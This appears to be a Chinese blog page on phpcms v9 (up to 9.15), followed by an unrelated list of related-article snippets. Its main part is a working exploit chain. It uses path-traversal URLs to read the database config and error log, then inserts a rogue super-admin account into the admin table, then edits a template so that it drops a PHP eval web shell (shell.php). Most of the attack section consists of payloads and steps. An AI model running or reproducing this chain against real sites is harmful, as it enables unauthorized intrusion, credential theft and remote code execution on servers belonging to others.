KBK影院
KBK影院

phpcmsv9.15以下任意文件读取漏洞

http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php

成功读取数据库信息如下：
002650azq2g2ag33bdaj6u.png 

爆网站路径：

http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/error_log.php



002700f06ozzf9p40tu0y0.png 


打开phpcmsV9数据库并且找到admin表，向表中添加一条数据，因为我们没法破解他的密码那么咱们就自己

添加一个用户以便能够登录后台操作：

Username:admin password: 748b4dfa3a7159c1eb1baa46f222f9b8 roleid:1 encrypt:C6mB9p

注意这几项必须添负责登录不了的。应为这条记录的意思是添加用户名为admin,密码为：creturn.com的超级管理员



111108pqyj89trq8pz2g9t.jpg 

后台登录地址：localhost/index.php?m=admin

用户名：admin 密码：creturn.com

登录后台后我们找到界面-》模版风格-》选择默认模版点击详情列表

111109v2100v7l0avcuksj.jpg 

然后点击里面的search目录下面的index.html右侧的编辑

111109cyzai11ffiizifia.jpg 

修改其模版为：

  1. <?php $shell = '<?php @eval($_POST[cmd]);?>';file_put_contents('shell.php',$shell);?>

复制代码

提交保存

然后访问：localhost/index.php?m=search

会在根目录生成一个shell.php的一句话，我们连接看看

111109sl5lkox5b8l8d5o7.jpg 

可以看到已经拿到shell，记得把修改的模版改回去。

或者可以直接通过mysql数据库及爆出的路径写一句话

你可能感兴趣的:(phpcms)

  • 文件上传复现 是懒羊羊吖～ android
    1.PHPCMSPHPCMS头像上传功能允许用户上传ZIP压缩包，系统自动解压并删除非图片文件（如.php、.txt），利用解压后文件保留机制上传至服务器‌，使用特殊符号混淆文件名（如shell.txt?.php#.jpg），使系统误判为图片文件‌但未严格校验文件真实类型及内容，导致攻击者可构造特殊压缩包绕过删除逻辑，保留恶意文件‌//1.接收用户上传的ZIP压缩包并直接写入临时文件 file_p
  • phpcms v9文件上传漏洞复现 熬夜且瞌睡 网络php开发语言
    1.压缩包文件无递归删除$file=$_FILES['file'];#检查文件是否为空文件if(!$file){exit("请勿上传空文件");}$name=$file['name'];$dir='upload/';$ext=strtolower(substr(strrchr($name,'.'),1));functioncheck_dir($dir)#检查文件格式{$handle=opendir
  • phpcms set inc.php,phpcms V9 sql注入漏洞测试 朱娟娟
    phpcmsV9版本存在SQL注入漏洞，漏洞复现如下0x00以GET方式访问如下链接,得到返回包里mvbpqw_siteid值：http://127.0.0.1/index.php?m=wap&c=index&a=init&siteid=10x01构造SQL语句，将0x00中的mvbpqw_siteid值代入下面链接，以POST方式发起请求0x02将0x01步中的json值代入下面链接中，以POS
  • PHPCMS V9 SQL查询篇 changeriver phpcmsphp
    添加查询条件{phpKaTeXparseerror:Expected'EOF',got'}'atposition28:…_type_int=24"}̲{pc:contentac…sql5"num=“1”order=“listorderasc,inputtimeasc”page=“page"cache="page"cache="page"cache="cachetime”}同时调用指定栏目和指定推荐
  • phpcms v9敏感词内容替换 大海哪蓝 PHPCMSphp
    后台先在"扩展"——>"敏感词管理"中添加敏感词，然后修改phpcms\modules\content\content.php文件来实现添加或者编辑内容时敏感词的替换。（如果涉及会员投稿和留言等，也需要在对应模块中做类似处理）在add方法和edit方法中if(trim($_POST['info']['title'])=='')showmessage(L('title_is_empty'));下方添
  • 解决phpcms搜索列表页：跳转错误 about:blank#blocked 草巾冒小子 phpcms踩坑篇
    phpcms搜索列表页：跳转错误about:blank#blocked其他页面没发现有类似问题；仅仅在文章内容页点击文章tag关键词标签的时候，发现关键词返回的数据列表页（即模板文件content/tag_list.html）内部的：首页、网站logo的链接都无法执行返回首页，而是跳转到链接页面地址：about:blank#blocked;截图说明：代码·修改之前：{pc:contentactio
  • PHPCMS V9数据库中v9_poster_“日期”表（如，v9_poster_201010等）是什么表，有什么用，怎么按日期生成的？ 大海哪蓝 PHPCMSv9_poster_2019
    v9_poster_“日期”这些表和其中的数据记录是网站中广告展示和点击时生成的如果在网站模板中使用了诸如这样的方式调用广告，就会有新的表或者新的数据记录产生，日积月累造成数据库体积非常大。如果客户不需要统计广告访问的数据，可以按如下方法去除创建表和插入数据的功能（当然已经产生的表可以删除）：打开phpcms\modules\poster\index.php文件，搜索关键字“s_db”，将含该关键
  • PHPCMS V9手机移动端（支持单图和多图）图片上传，（PHPCMS V9前台使用layui的上传组件代替默认的SWFupload上传图片） 大海哪蓝 PHPCMS
    默认phpcms的上传图片使用的是swfupload，导致手机移动端上传图片无法使用。这里我们使用layui的上传组件来使其支持手机移动端（支持单图和多图）图片上传，效果图如下：实现步骤：一、打开phpcms\modules\attachment\attachments.php文件，新增如下函数：publicfunctionimgupload(){pc_base::load_sys_class('
  • PHPCMS V9编辑器中新增上传视频(上传视频并插入HTML5的video标签)的功能 大海哪蓝 PHPCMS
    由于PHPCMSv9默认的编辑器中上传的视频插入的是embed标签使用的是flash播放器，手机端无法播放，所以来改造下，让其上传视频并插入HTML5的video标签，这样电脑端的主流浏览器和手机端能都播放，当然也可以参考本文修改进而支持ckplayer、cuplayer等播放器。修改步骤（为防止与其它按钮混淆和去除无用插件，这里去除了原编辑器中插入flash和视频的按钮）：一、打开statics
  • phpcms微信支付-PHPCMS V9支付模块调整及新增微信支付（含电脑端微信扫码支付和微信公众号JSAPI支付及手机浏览器端微信H5支付） 大海哪蓝 PHPCMS微信公众号开发PHP+MYSQLPHPCMS微信支付PHPCMS微信扫码支付PHPCMS微信公众号支付PHPCMSV9微信支付phpcms微信支付插件
    研究过PHPCMS支付模块的朋友应该知道，PHPCMS自带的支付模块局限性比较明显，本次新增的微信支付，在一定程度上修改和完善了PHPCMSV9原有的支付模块及相关文件，重写了支付宝支付类，新增了电脑端微信扫码支付类和微信公众号JSAPI支付类文件及手机浏览器端微信H5支付类文件，新增了系统类文件和一些函数。在扩展函数库文件中新增了判断手机和判断微信的函数。注：调整后的支付模块，也可以方便对接其它
  • PHPCMS V9使用ajax方式提交表单 大海哪蓝 PHPCMS
    页面效果：实现步骤：一、前台模板（注：需要引入jquery文件）functionformsubmit(){varyemail=$('#yemail').val();if(yemail==''){$(".newsletter-error").html("邮箱不能为空！").fadeIn().delay(3000).fadeOut();returnfalse;}if(!yemail.match(/^(
  • PHPCMS V9后台表单向导用户提交的信息新增“修改”的功能 大海哪蓝 PHPCMS
    默认PHPCMSV9后台"表单向导"——>表单"信息列表"中只能查看和删除用户提交的信息，这里新增“修改”的功能。本次新增的表单信息“修改”功能来源于系统本身自带的模型字段缓存技术。表单种类的多少、每个表单中字段的多少和字段类型对本功能无影响。如果表单中有新增或者修改的字段，需要在后台“更新缓存”。效果图：操作步骤：（新增或者修改的部分已标出）一、表单信息列表后台模板文件：phpcms\modul
  • PHPCMS V9 更改分页页码显示个数 大海哪蓝 PHPCMSPHPCMS分页PHPCMS页码显示个数
    先看更改前后的效果（注：以下效果中将默认的分页样式做了美化，不影响本次修改）：修改前效果：修改后效果：修改方法如下：打开phpcms\libs\functions\global.func.php，找到分页函数functionpages，将原来默认的参数$setpages=10修改为$setpages=3
  • PHPCMS栏目管理中添加栏目图组（栏目多图上传） 大海哪蓝 PHPCMSPHPCMS栏目组图PHPCMS栏目多图功能
    之前发表过一篇《PHPCMSV9单页面添加组图字段》的文章，是在后台添加或编辑单页面内容处增加图组功能，然后前台单页面调用图组。今天要说的是在栏目管理处，也就是添加或修改栏目时，有上传栏目图组的功能。两者都源自系统本身的图组，实现上有类似的地方。实现流程：一、栏目表中添加栏目多图字段二、系统扩展函数文件phpcms/libs/functions/extention.func.php中添加函数cat
  • PHPCMS V9频道页循环子栏目内容（子栏目为单页则输出标题和内容，为列表则输出栏目名称和分页列表） 大海哪蓝 PHPCMS
    注意：频道下的子栏目最多只能有一个分页列表栏目（否则分页会有问题），单页面不限。效果如下图：频道页模板如下：{loopsubcat($catid)$r}{if$r[ismenu]}{if$r[type]==1}{pc:getsql="SELECT*FROM`wysys_page`wherecatid=$r[catid]"}{loop$data$rp}{$rp[title]}{$rp[content
  • PHPCMS V9单页面添加组图字段 大海哪蓝 PHPCMS
    言：写单页面多图上传前，先看了别人写的单页面单图上传：给单页page自定义单图字段，方便图片的上传1、打开数据库，找到v9_page表，添加一个图片的字段:catpic类型varchar，长度100，当然也可以不用进行设置。2、打开phpcms\modules\content\templates\content_page.tpl.php文件，在48行下面插入如下代码：组图3、4步骤看下面截图部分更
  • PHPCMS V9任意页面调用分页 大海哪蓝 PHPCMS
    {pc:getsql="SELECTb.catid,b.title,b.updatetimeFROM`v9_hits`a,`v9_news`bwhereconcat('c-1-',b.id)=a.hitsidorderbyinputtimedesc"page="$page"num="8"return="data"}{loop$data$r}{iftime()-$r[updatetime]{/if}
  • PHPCMS V9循环调用指定栏目下的所有单页信息 大海哪蓝 PHPCMS
    {loopsubcat(1)$ck$carr}{pc:getsql="SELECT*FROMv9_pagewherecatid=$ck"}{loop$data$r}{str_cut(strip_tags($r[content]),400,"……")}{/loop}{/pc}{$carr['catid']}_{$carr[catname]}{/loop}
  • PHPCMS V9后台表单向导中让“信息列表"页面直接显示用户留言的信息列表 大海哪蓝 PHPCMS
    一、找到后台表单信息列表对应的控制器phpcms\modules\formguide\formguide_info.php文件，添加如图所示代码：/*WYADDAT2017-09-25后台表单向导中信息列表直接显示用户留言信息列表*/pc_base::load_sys_class('form','','');define('CACHE_MODEL_PATH',PHPCMS_PATH.'caches
  • phpcmsv9前台按子管理员名称分页展示子管理员的文章 大海哪蓝 PHPCMSphpphpcmsv9按子管理员名调用文章
    一、系统扩展函数文件phpcms\libs\functions\extention.func.php中添加函数：/**@param$roleid当前管理员角色ID*@param$uid当前管理员角色ID**/functionget_username_from_tit($title){$userlist=pc_base::load_model('admin_model');$userinfo=$us
  • phpcms v9外链文章获取点击量 大海哪蓝 PHPCMS前端phpjavascript
    默认phpcmsv9的外链文章因为直接跳转（不进入详情页模板），导致外链文章的点击量一直是0，而我们有时需要按点击量排行或者排序的时候，就有问题了。这里我们借助系统自带的点击量接口api来获取：一、前台JS部分添加：//点击外链执行文章点击量增加$(".out_link").click(function(){$.get('api.php?op=count',{'id':$(this).attr("
  • phpcms v9未审核推荐信息出现在推荐列表中【BUG修复】 大海哪蓝 PHPCMSbugphp
    修改文件：phpcms/modules/content/class/content_tag.class.php调整过的方法：publicfunction__construct(){$this->db=pc_base::load_model('content_model');$this->position=pc_base::load_model('position_model');$this->po
  • PHPCMS表单部分设置 木宇尘star
    姓名*电话*留言*后台表单需添加name，phone,liuyan三个字段
  • dedecms织梦转免费CMS操作步骤（转PageAdmin，帝国CMS、PHPCMS、JTBC、PHPCMS、wordpress) HENRYLUKCY cmsphp
    dedecms织梦开始正式收费，授权5800元，对于草根站长来说真是太高了，最好的办法是转成免费开源的CMS，下面一些经验之谈，dedecms织梦转PageAdmin，帝国CMS、PHPCMS、JTBC、PHPCMS、wordpress都是通用的操作步骤：1.首先我们先给现有的织梦CMS网站做个完整备份，网站程序+数据库备份。2.新CMS程序创建（以帝国为例）3.创建栏目对应dede栏目（防止出现
  • phpcms v9后台添加草稿箱功能 大海哪蓝 PHPCMSphpphpcmsv9添加草稿箱功能
    一、后台添加文章模板phpcms/modules/content/templates/content_add.tpl.php中94行增加”保存草稿“按钮："type="submit"name="dosubmit_draft"class="cu"style="width:100px;"onclick="refersh_window()">二、后台添加文章控制器phpcms/modules/conte
  • phpcms修改默认后台登录地址 Newbie@man 后端/PHP开发php
    PHPCMS后台入口都是统一的，为了安全起见需要更改后台登陆地址，一个需要更改登陆文件一个需要更改登陆方法login更改为xx_login(可以自定义)1修改./admin.phpheader('location:index.php?m=admin');?>改为：然后再把admin.php换个名字，例如xx_admin.php，但是用phpcms的人都知道index.php?m=admin&c=i
  • selinux下踩phpcms和mysql的坑 西湖章
    最近在弄一个小网站。上次弄网站差不多是10年前了，那时还是jsp。现在新增一个现有网站的英文版本，要部署到其他人的机器上，用的是phpcmsv9。年前提前放了3天假，在家折腾了2天多，基本上在测试机器上弄得差不多了。上班后又整理了下，准备弄到已有公网IP的机器上，它上面已经安装了lampp，别人在用mysql，没有用httpd。用系统的mysql，用lampp的httpd。坑1：由于是公网机器，我
  • 信息收集 - 网站敏感信息 狗蛋的博客之旅 Web安全渗透web安全安全
    CMS指纹信息：CMS(内容管理系统)又称为整站系统或文章系统，用于网站内容管理。用户只需要下载对应的CMS软件包，就能部署搭建，并直接利用CMS。但是各种CMS都具有其独特的结构命名规则和特定的文件内容，因此可以利用这些内容来获取CMS站点的具体软件CMS与版本。通过识别CMS指纹信息，可以帮助判断目标网站所使用的具体CMS。常见的CMS包括Discuz、Dedecms(织梦)、PhpCMS、W
  • 信息收集----CMS指纹识别 jjj34 web相关网络安全
    一.什么是指纹识别通过关键特征，识别出目标的CMS系统，服务器，开发语言，操作系统，CDN，WAF的类别版本等等1.识别对象1.CMS信息：比如Discuz,织梦，帝国CMS，PHPCMS，ECshop等2.前端技术：比如HTML5，jquery，bootstrap，Vue，ace等3.开发语言：PHP，Java，Ruby，C#，python等4.Web服务器：Apache，Nginx，IIS，l
  • php cms 代码注入,PHPCMS全版本通杀SQL注入漏洞 AMAX杨威 phpcms代码注入
    漏洞分析首先看下面的代码/phpcms/modules/member/content.php202行edit函数[php]publicfunctionedit(){$_username=$this->memberinfo['username'];if(isset($_POST['dosubmit'])){$catid=$_POST['info']['catid']=intval($_POST['i
  • jquery实现的jsonp掉java后台 知了ing javajsonpjquery
    什么是JSONP？ 先说说JSONP是怎么产生的： 其实网上关于JSONP的讲解有很多，但却千篇一律，而且云里雾里，对于很多刚接触的人来讲理解起来有些困难，小可不才，试着用自己的方式来阐释一下这个问题，看看是否有帮助。 1、一个众所周知的问题，Ajax直接请求普通文件存在跨域无权限访问的问题，甭管你是静态页面、动态网页、web服务、WCF，只要是跨域请求，一律不准； 2、
  • Struts2学习笔记 caoyong struts2
    SSH : Spring + Struts2 + Hibernate 三层架构(表示层,业务逻辑层,数据访问层) MVC模式 (Model View Controller) 分层原则:单向依赖，接口耦合 1、Struts2  =  Struts  + Webwork 2、搭建struts2开发环境    a>、到www.apac
  • SpringMVC学习之后台往前台传值方法 满城风雨近重阳 springMVC
    springMVC控制器往前台传值的方法有以下几种： 1.ModelAndView    通过往ModelAndView中存放viewName：目标地址和attribute参数来实现传参：      ModelAndView mv=new ModelAndView();  mv.setViewName="success
  • WebService存在的必要性？ 一炮送你回车库 webservice
    做Java的经常在选择Webservice框架上徘徊很久，Axis  Xfire Axis2 CXF ，他们只有一个功能，发布HTTP服务然后用XML做数据传输。 是的，他们就做了两个功能，发布一个http服务让客户端或者浏览器连接，接收xml参数并发送xml结果。 当在不同的平台间传输数据时，就需要一个都能解析的数据格式。 但是为什么要使用xml呢？不能使json或者其他通用数据
  • js年份下拉框 3213213333332132 java web ee
    <div id="divValue">test...</div>测试 //年份 <select id="year"></select> <script type="text/javascript"> window.onload =
  • 简单链式调用的实现技术 归来朝歌 方法调用链式反应编程思想
    在编程中，我们可以经常遇到这样一种场景：一个实例不断调用它自身的方法，像一条链条一样进行调用 这样的调用你可能在Ajax中，在页面中添加标签： $("<p>").append($("<span>").text(list[i].name)).appendTo("#result");   也可能在HQ
  • JAVA调用.net 发布的webservice 接口 darkranger webservice
    /** * @Title: callInvoke * @Description: TODO(调用接口公共方法) * @param @param url 地址 * @param @param method 方法 * @param @param pama 参数 * @param @return * @param @throws BusinessException
  • Javascript模糊查找 | 第一章 循环不能不重视。 aijuans Way
    最近受我的朋友委托用js+HTML做一个像手册一样的程序，里面要有可展开的大纲，模糊查找等功能。我这个人说实在的懒，本来是不愿意的，但想起了父亲以前教我要给朋友搞好关系，再加上这也可以巩固自己的js技术，于是就开始开发这个程序，没想到却出了点小问题，我做的查找只能绝对查找。具体的js代码如下： function search(){ var arr=new Array("my
  • 狼和羊，该怎么抉择 atongyeye 工作
    狼和羊，该怎么抉择 在做一个链家的小项目，只有我和另外一个同事两个人负责，各负责一部分接口，我的接口写完，并全部测联调试通过。所以工作就剩下一下细枝末节的，工作就轻松很多。每天会帮另一个同事测试一些功能点，协助他完成一些业务型不强的工作。 今天早上到公司没多久，领导就在QQ上给我发信息，让我多协助同事测试，让我积极主动些，有点责任心等等，我听了这话，心里面立马凉半截，首先一个领导轻易说
  • 读取android系统的联系人拨号 百合不是茶 androidsqlite数据库内容提供者系统服务的使用
           联系人的姓名和号码是保存在不同的表中,不要一下子把号码查询来,我开始就是把姓名和电话同时查询出来的,导致系统非常的慢   关键代码:     1, 使用javabean操作存储读取到的数据 package com.example.bean; /** * * @author Admini
  • ORACLE自定义异常 bijian1013 数据库自定义异常
    实例： CREATE OR REPLACE PROCEDURE test_Exception ( ParameterA IN varchar2, ParameterB IN varchar2, ErrorCode OUT varchar2 --返回值,错误编码 ) AS /*以下是一些变量的定义*/ V1 NUMBER; V2 nvarc
  • 查看端号使用情况 征客丶 windows
    一、查看端口 在windows命令行窗口下执行： >netstat -aon|findstr "8080" 显示结果： TCP     127.0.0.1:80         0.0.0.0:0    &
  • 【Spark二十】运行Spark Streaming的NetworkWordCount实例 bit1129 wordcount
    Spark Streaming简介   NetworkWordCount代码   /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with
  • Struts2 与 SpringMVC的比较 BlueSkator struts2spring mvc
    1. 机制：spring mvc的入口是servlet，而struts2是filter，这样就导致了二者的机制不同。 2. 性能：spring会稍微比struts快。spring mvc是基于方法的设计，而sturts是基于类，每次发一次请求都会实例一个action，每个action都会被注入属性，而spring基于方法，粒度更细，但要小心把握像在servlet控制数据一样。spring
  • Hibernate在更新时，是可以不用session的update方法的(转帖） BreakingBad Hibernateupdate
    地址：http://blog.csdn.net/plpblue/article/details/9304459 public void synDevNameWithItil() {Session session = null;Transaction tr = null;try{session = HibernateUtil.getSession();tr = session.beginTran
  • 读《研磨设计模式》-代码笔记-观察者模式 bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ import java.util.ArrayList; import java.util.List; import java.util.Observable; import java.util.Observer; /** * “观
  • 重置MySQL密码 chenhbc mysql重置密码忘记密码
    如果你也像我这么健忘，把MySQL的密码搞忘记了，经过下面几个步骤就可以重置了（以Windows为例，Linux/Unix类似）： 1、关闭MySQL服务 2、打开CMD，进入MySQL安装目录的bin目录下，以跳过权限检查的方式启动MySQL mysqld --skip-grant-tables  3、新开一个CMD窗口，进入MySQL mysql -uroot  
  • 再谈系统论，控制论和信息论 comsci 设计模式生物能源企业应用领域模型
                               再谈系统论，控制论和信息论     偶然看
  • oracle moving window size与 AWR retention period关系 daizj oracle
    转自： http://tomszrp.itpub.net/post/11835/494147 晚上在做11gR1的一个awrrpt报告时,顺便想调整一下AWR snapshot的保留时间,结果遇到了ORA-13541这样的错误.下面是这个问题的发生和解决过程. SQL> select * from v$version; BANNER -------------------
  • Python版B树 dieslrae python
    话说以前的树都用java写的,最近发现python有点生疏了,于是用python写了个B树实现,B树在索引领域用得还是蛮多了,如果没记错mysql的默认索引好像就是B树... 首先是数据实体对象,很简单,只存放key,value class Entity(object): '''数据实体''' def __init__(self,key,value)
  • C语言冒泡排序 dcj3sjt126com 算法
    代码示例： # include <stdio.h> //冒泡排序 void sort(int * a, int len) { int i, j, t; for (i=0; i<len-1; i++) { for (j=0; j<len-1-i; j++) { if (a[j] > a[j+1]) // >表示升序
  • 自定义导航栏样式 dcj3sjt126com 自定义
    -(void)setupAppAppearance { [[UILabel appearance] setFont:[UIFont fontWithName:@"FZLTHK—GBK1-0" size:20]]; [UIButton appearance].titleLabel.font =[UIFont fontWithName:@"FZLTH
  • 11.性能优化-优化-JVM参数总结 frank1234 jvm参数性能优化
    1.堆 -Xms --初始堆大小 -Xmx --最大堆大小 -Xmn --新生代大小 -Xss --线程栈大小 -XX:PermSize  --永久代初始大小 -XX:MaxPermSize  --永久代最大值 -XX:SurvivorRatio --新生代和suvivor比例,默认为8 -XX:TargetSurvivorRatio --survivor可使用
  • nginx日志分割 for linux HarborChung nginxlinux脚本
    nginx日志分割 for linux 默认情况下，nginx是不分割访问日志的，久而久之，网站的日志文件将会越来越大，占用空间不说，如果有问题要查看网站的日志的话，庞大的文件也将很难打开，于是便有了下面的脚本   使用方法，先将以下脚本保存为 cutlog.sh，放在/root 目录下，然后给予此脚本执行的权限   复制代码代码如下: chmo
  • Spring4新特性——泛型限定式依赖注入 jinnianshilongnian springspring4泛型式依赖注入
    Spring4新特性——泛型限定式依赖注入 Spring4新特性——核心容器的其他改进 Spring4新特性——Web开发的增强 Spring4新特性——集成Bean Validation 1.1(JSR-349)到SpringMVC  Spring4新特性——Groovy Bean定义DSL Spring4新特性——更好的Java泛型操作API  Spring4新
  • centOS安装GCC和G++ liuxihope centosgcc
    Centos支持yum安装，安装软件一般格式为yum install .......，注意安装时要先成为root用户。 按照这个思路，我想安装过程如下： 安装gcc：yum install gcc 安装g++： yum install g++ 实际操作过程发现，只能有gcc安装成功，而g++安装失败，提示g++ command not found。上网查了一下，正确安装应该
  • 第13章 Ajax进阶（上） onestopweb Ajax
    index.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/
  • How to determine BusinessObjects service pack and fix pack blueoxygen BO
    http://bukhantsov.org/2011/08/how-to-determine-businessobjects-service-pack-and-fix-pack/   The table below is helpful. Reference   BOE XI 3.x 12.0.0. y BOE XI 3.0 12.0. x. y BO
  • Oracle里的自增字段设置 tomcat_oracle oracle
    　大家都知道吧，这很坑，尤其是用惯了mysql里的自增字段设置，结果oracle里面没有的。oh，no 　　我用的是12c版本的，它有一个新特性，可以这样设置自增序列，在创建表是，把id设置为自增序列 create table t ( id 　　 　　 number generated by default as identity (start with 1 increment b
  • Spring Security（01）——初体验 yang_winnie springSecurity
    Spring Security（01）——初体验     博客分类： spring Security Spring Security入门安全认证        首先我们为Spring Security专门建立一个Spring的配置文件，该文件就专门用来作为Spring Security的配置
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他